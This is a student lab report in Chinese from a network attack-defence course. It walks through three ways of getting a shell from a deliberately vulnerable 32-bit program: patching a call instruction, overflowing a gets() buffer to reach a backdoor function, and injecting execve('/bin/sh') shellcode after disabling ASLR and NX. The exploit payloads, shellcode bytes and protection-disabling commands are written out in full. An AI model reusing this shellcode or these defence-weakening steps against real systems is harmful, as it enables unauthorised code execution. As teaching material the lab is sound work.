20242404 2026-2027-1 《网络与系统攻防技术》实验一实验报告
20242404 2026-2027-1 《网络与系统攻防技术》实验一实验报告
1.基础知识
本次实验以 32 位 Linux 可执行文件 pwn20242404 为目标程序,通过三种递进的方式获取 shell,涉及以下基础知识:
- 缓冲区溢出(Buffer Overflow):程序向固定长度的缓冲区写入超过其容量的数据时,多余数据会覆盖相邻内存区域。当缓冲区位于栈上时,溢出数据可依次覆盖保存的 EBP 与返回地址,从而劫持程序执行流。本实验中
foo函数使用不检查长度的gets()读入字符串,仅预留了 0x1c(28)字节缓冲区,存在典型 BOF 漏洞。 - IA-32 栈帧结构:函数调用时,
call指令将返回地址压栈,push ebp; mov ebp, esp建立栈帧,sub esp, N为局部变量分配空间,返回时通过leave; ret弹出返回地址并跳转。栈向低地址增长,栈帧从低地址到高地址依次为:局部变量区(缓冲区)、保存的 EBP、返回地址。 - call 指令与 EIP 偏移计算:x86 的
call指令为相对寻址,机器码格式为e8 + 4 字节偏移(补码形式)。CPU 执行call时,EIP 已指向下一条指令地址,目标地址 = 下一条指令地址 + 偏移量。因此修改偏移量即可改变调用目标。 - 小端字节序:x86 架构数据按小端存储,多字节数值低字节存放在低地址。故在构造攻击输入时,地址
0x0804847d需逆序写为\x7d\x84\x04\x08。 - ELF 文件与反汇编:
objdump -d可对可执行文件反汇编,查看函数入口地址与机器码;readelf可查看 ELF 节与程序头信息(如GNU_STACK段的栈权限标志)。 - gdb 动态调试:用于在程序运行时查看寄存器、内存,计算缓冲区偏移,通过断点与 core dump 定位崩溃现场。
- 系统防护机制:ASLR(地址空间布局随机化)使栈、堆、库基址随机变化;NX(堆栈不可执行)阻止栈上代码执行;Stack Canary 检测栈溢出;PIE 使程序基址随机化。本实验需关闭 ASLR 与 NX 才能注入并执行 shellcode。
- shellcode 与 payload 构造:shellcode 是一段用于获取 shell(或执行任意命令)的机器指令。Linux 下常见两种 payload 布局:
nop + shellcode + retaddr(NSR,shellcode 放缓冲区前部)与anything + retaddr + nops + shellcode(RNS,shellcode 放返回地址后部)。
2.实验内容
- 任务一:直接修改机器指令,改变程序执行流程。通过反汇编定位
main中调用foo的call指令,计算getShell地址对应的偏移补码,用十六进制编辑器修改可执行文件,使程序启动后直接调用getShell。 - 任务二:利用 foo 函数的 BOF 漏洞构造攻击输入字符串,覆盖返回地址触发 getShell。通过 gdb 确定缓冲区溢出偏移,构造
填充 + getShell 地址(小端序)的攻击输入,覆盖栈上返回地址,使程序跳转到getShell。 - 任务三:注入自构造 shellcode 并运行。关闭 ASLR 与 NX 防护,构造包含
execve("/bin/sh")shellcode 的 payload,注入栈中并覆盖返回地址指向 shellcode,获得 shell。
3.实验过程
实验环境为 Kali Linux(64 位系统 + 32 位兼容库),目标程序 pwn20242404 为 32 位 ELF,编译时未开启栈保护。程序包含三个函数:getShell(调用 system("/bin/sh"),正常流程不会被调用)、foo(使用 gets 读入字符串,存在 BOF 漏洞)、main(调用 foo)。
3.1 任务一:直接修改程序机器指令跳转 getShell
步骤 1:备份原文件并赋予执行权限
为保护原始程序(任务二、三还需使用),先备份并确认执行权限:
cp ./pwn20242404 ./pwn20242404_ori
chmod +x ./pwn20242404

步骤 2:反汇编,定位 call 指令与函数地址
objdump -d ./pwn20242404 | grep -A 30 main
反汇编结果中,main 函数的关键片段如下:
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo> ← 调用 foo 的 call 指令
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
同时通过 objdump -d ./pwn20242404 | grep getShell 获取后门函数入口地址:
0804847d <getShell>:
步骤 3:计算新的 call 偏移
call 8048491 <foo> 对应的机器码为 e8 d7 ff ff ff:e8 是 call 操作码,d7 ff ff ff 是 4 字节相对偏移(补码)。CPU 执行该指令时 EIP 已指向下一条指令地址 0x080484ba,因此:
- 原目标 foo 地址 =
0x080484ba + 0xffffffd7=0x08048491,验证正确。 - 目标 getShell 地址为
0x0804847d,新偏移 =0x0804847d - 0x080484ba=0xffffffc3。
因此只需将机器码 e8 d7 ff ff ff 修改为 e8 c3 ff ff ff。
步骤 4:用 vim + xxd 十六进制模式修改文件
cp ./pwn20242404 ./pwn20242404_task1
chmod +x ./pwn20242404_task1
vim ./pwn20242404_task1
在 vim 内按以下流程操作:
- 按
ESC进入普通模式,输入:%!xxd回车,切换为十六进制显示模式; - 输入
/d7ff回车,定位到待修改的d7 ff ff ff; - 按
i进入编辑模式,将d7 ff ff ff修改为c3 ff ff ff(只改偏移,不动e8操作码); - 按
ESC,输入:%!xxd -r回车,转回二进制格式; - 输入
:wq保存退出。
步骤 5:验证修改并运行
重新反汇编,确认 call 指令的目标已变为 getShell,然后运行修改后的程序:

反汇编显示 80484b5: e8 c3 ff ff ff call 804847d <getShell>,修改成功。运行 ./pwn20242404_task1 后程序直接进入 shell,输入 whoami 返回 kali,任务一完成——未触碰任何输入,仅修改文件即劫持了执行流。
3.2 任务二:BOF 攻击,覆盖返回地址触发 getShell
步骤 1:检查程序防护机制
checksec --file=pwn1

结果关键项:No canary found(无栈保护)、NX disabled(栈可执行)、No PIE(基址固定)、Partial RELRO。程序未开启栈保护,适合进行缓冲区溢出攻击。
步骤 2:反汇编了解程序结构,定位后门函数
objdump -d pwn1 | grep -E "main|win"
objdump -d pwn1 | grep "<"

确认关键地址:main 入口 080484af,后门函数 getShell 入口 0804847d,漏洞函数 foo 入口 08048491。
步骤 3:反汇编 foo,确认缓冲区大小
用 gdb 反汇编 foo 函数:
gdb ./pwn1
(gdb) disass foo

Dump of assembler code for function foo:
0x08048491 <+0>: push %ebp
0x08048492 <+1>: mov %esp,%ebp
0x08048494 <+3>: sub $0x38,%esp
0x08048497 <+6>: lea -0x1c(%ebp),%eax ← 缓冲区位置 ebp-0x1c
0x0804849a <+9>: mov %eax,(%esp)
0x0804849d <+12>: call 0x8048330 <gets@plt> ← gets 不检查长度,漏洞所在
0x080484a2 <+17>: lea -0x1c(%ebp),%eax
0x080484a5 <+20>: mov %eax,(%esp)
0x080484a8 <+23>: call 0x8048340 <puts@plt>
0x080484ad <+28>: leave
0x080484ae <+29>: ret
End of assembler dump.
lea -0x1c(%ebp),%eax 表明缓冲区从 ebp-0x1c 开始,大小为 0x1c = 28 字节。
步骤 4:gdb 动态调试,确定覆盖返回地址的偏移
输入超过 28 字节的测试字符串,观察 EIP 的变化:
(gdb) r
1111111122222222333333334444444412345678
Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? () ← eip = 0x34333231 = "1234" 的逆序(小端)
分析得出栈上布局为:[28 字节缓冲区][4 字节保存的 EBP][4 字节返回地址],输入字符串的第 29~32 个字符覆盖保存的 EBP,第 33~36 个字符覆盖返回地址,即填充 32 字节后,紧接着的 4 字节即为返回地址。
由于 x86 小端序,getShell 地址 0x0804847d 需逆序写入为 \x7d\x84\x04\x08。
步骤 5:构造攻击输入字符串
键盘无法直接输入十六进制字节,使用 perl 生成输入文件:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > input

步骤 6:注入输入,触发 getShell
(cat input; cat) | ./pwn20242404

输入流通过管道作为程序输入,溢出覆盖返回地址后程序跳转到 getShell,成功获取 shell。任务二完成——通过纯输入数据劫持执行流,未修改程序文件。
3.3 任务三:注入 shellcode 并执行
步骤 1:环境准备(关闭防护机制)
注入 shellcode 需要满足:堆栈可执行(关闭 NX)、地址固定(关闭 ASLR)、32 位环境、Linux 环境。后两项已满足,关闭前两项:
-
关闭地址随机化(ASLR)。先查看当前级别:
cat /proc/sys/kernel/randomize_va_space # 返回 2 表示完全开启,需写 0 关闭(普通用户需 sudo 提权写入) echo 0 | sudo tee /proc/sys/kernel/randomize_va_space -
设置堆栈可执行(关闭 NX)。新版 Kali 软件源已移除
execstack/prelink包,改用 pwntools 修改 ELF 文件头中GNU_STACK段的权限标志(PF_R+PF_W+PF_X = 7):from pwn import * elf = ELF("./pwn20242404") for seg in elf.segments: if seg.header.p_type == 'PT_GNU_STACK': seg.header.p_flags = 7 # RWX,关闭 NX break elf.save("./pwn20242404_nxoff")再次用
checksec确认NX disabled。
步骤 2:允许生成 core dump 文件
后续需要用 gdb 分析崩溃现场,先放开 core 文件限制:
ulimit -c unlimited

步骤 3:构造 shellcode payload(第一次尝试失败)
采用 nop + 返回地址占位 + shellcode 结构构造输入文件:
perl -e 'print "\x90"x32 . "AAAA" . "\x83\xec\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > input

运行时报错:
(cat input; cat) | ./pwn20242404
zsh: broken pipe
zsh: segmentation fault (core dumped)

步骤 4:用 gdb 分析 core dump 定位问题
gdb ./pwn20242404 $(ls -t core.* | head -1) -batch \
-ex "info registers eip esp" -ex "x/40bx $esp-64"
xxd input | head -3

分析结果:
eip = 0x41414141:返回地址被AAAA覆盖,说明 32 字节偏移正确,崩溃是占位地址0x41414141为非法地址所致;xxd确认 payload 文件结构正确(32 字节\x90+AAAA+ shellcode);- 失败根本原因:ASLR 未完全关闭时栈地址随机变化,且返回地址只是占位符,跳转必然失败。
步骤 5:确认偏移并重新计算 shellcode 地址
先关闭 ASLR 后,用测试 payload 重新运行生成新的 core dump:
perl -e 'print "A"x32 . "BBBB"' > test_input
ulimit -c unlimited
./pwn20242404 < test_input
gdb ./pwn20242404 $(ls -t core.* | head -1) -batch -ex "info registers esp eip"

结果:eip = 0x42424242(BBBB 覆盖返回地址),esp = 0xffffcf40。
ret 指令执行时会将栈顶返回地址弹出到 EIP 并令 esp += 4,因此崩溃时 esp 指向返回地址的下一个字节,即 payload 中 shellcode 的起始位置。shellcode 地址 = 0xffffcf40。
步骤 6:构造最终 payload(RNS 模式)并执行
采用 anything(填充) + retaddr + shellcode 结构:32 字节填充覆盖缓冲区与 EBP,返回地址指向 shellcode 起始位置,shellcode 紧跟在返回地址之后(位于更高地址的栈上,避免执行时 push 操作覆盖自身指令):
perl -e 'print "A"x32 . "\x40\xcf\xff\xff" . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > input
(cat input; cat) | ./pwn20242404
whoami

程序跳转到栈上执行 25 字节的 execve("/bin/sh") shellcode,成功启动交互式 shell,whoami 返回 kali,任务三完成。
说明:运行输出中出现的乱码字符(如
Ph//shh/bin),是程序把栈上 NOP 指令与 shellcode 的二进制字节当作 ASCII 打印的结果,属于foo函数原有puts回显逻辑,不影响 shell 功能。
4.问题及解决方案
-
问题1:shellcode 注入运行时出现
zsh: broken pipe和zsh: segmentation fault (core dumped),无法获得 shell。- 问题1解决方案:段错误是程序触发非法内存访问后崩溃退出,管道读端关闭导致写端报 broken pipe,属于次生现象。根本原因是 ASLR 开启使栈地址每次运行都随机变化,且 payload 中返回地址还是占位符
AAAA,跳转到非法地址必然崩溃。解决方法是先完全关闭 ASLR(echo 0 > /proc/sys/kernel/randomize_va_space),再用测试 payload 重新生成 core dump,从 gdb 中读取esp得到 shellcode 的真实固定地址,最后重新构造 payload 注入,成功获取 shell。
- 问题1解决方案:段错误是程序触发非法内存访问后崩溃退出,管道读端关闭导致写端报 broken pipe,属于次生现象。根本原因是 ASLR 开启使栈地址每次运行都随机变化,且 payload 中返回地址还是占位符
-
问题2:修改
/proc/sys/kernel/randomize_va_space时提示permission denied。- 问题2解决方案:该内核参数文件只有 root 可写,普通用户用
echo 0 >重定向无写入权限。改用echo 0 | sudo tee /proc/sys/kernel/randomize_va_space提权写入,并用cat验证返回值确为 0。
- 问题2解决方案:该内核参数文件只有 root 可写,普通用户用
-
问题3:执行
execstack -s时提示execstack: command not found,apt install execstack也报Unable to locate package。- 问题3解决方案:新版 Kali(基于 Debian Testing)已从软件源移除
execstack/prelink包,该工具已停止维护。改用 pwntools 的 ELF 模块遍历程序段,将GNU_STACK段的权限标志修改为 7(RWX),达到与execstack -s相同的关闭 NX 效果,并用checksec验证NX disabled。
- 问题3解决方案:新版 Kali(基于 Debian Testing)已从软件源移除
-
问题4:gdb/core dump 中计算出的栈地址与直接运行时的地址不一致,导致跳转失败。
- 问题4解决方案:ASLR 开启时栈地址随机,core dump 记录的地址仅对当次运行有效。必须先关闭 ASLR 使地址固定,再基于新的 core dump 重新计算
esp(即 shellcode 地址),且 x86 小端序下地址需逆序写入 payload。此外,返回地址填 NOP 滑床区域内的地址可提高容错率。
- 问题4解决方案:ASLR 开启时栈地址随机,core dump 记录的地址仅对当次运行有效。必须先关闭 ASLR 使地址固定,再基于新的 core dump 重新计算
5.学习感悟、思考等
本次实验通过三种递进的方式获取 shell,让我对逆向工程与缓冲区溢出攻击有了从理论到实践的完整认识。
任务一让我直观理解了可执行文件与机器指令的关系。call 指令的相对寻址机制(EIP + 偏移补码)让"修改一个字节就能改变程序走向"成为可能,也让我意识到二进制文件并非不可触碰的"黑盒"——结合反汇编与十六进制编辑器,可以精确控制程序的执行流程。这不仅是攻击手段,也是逆向分析的基础功。
任务二让我真正掌握了缓冲区溢出的核心:栈帧布局、偏移计算、小端字节序。通过 gdb 调试观察 EIP 被输入字符逐步覆盖的过程,"缓冲区溢出覆盖返回地址"从课本概念变成了亲手复现的事实。构造输入时 \x7d\x84\x04\x08 逆序写入的细节,让我对小端存储有了深刻记忆。
任务三是最有挑战性的一步。从第一次注入的段错误,到定位是 ASLR 未关闭、地址随机化所致,再到关闭防护后重新计算地址、调整 payload 结构最终成功,整个过程让我体会到:攻击的成败往往取决于对系统防护机制的理解。指导书中 nop + shellcode + retaddr(NSR)与 anything + retaddr + nops + shellcode(RNS)两种布局的差异——shellcode 放在返回地址前后直接影响栈操作是否覆盖自身指令——更是让我理解了栈执行时 esp 变化对代码完整性的影响。
实验中反复出现的问题(ASLR、NX、权限、工具缺失)让我认识到,真实的攻防环境远比课本复杂:系统防护机制、环境差异、工具可用性都会成为变数。这也提醒我,防御端必须从多维度(ASLR、NX、Canary、PIE 等)构建纵深防御,任何单一防护被绕过都可能导致系统被攻陷。本次实验为后续学习 ROP、堆溢出等更高级的利用技术打下了坚实基础。
浙公网安备 33010602011771号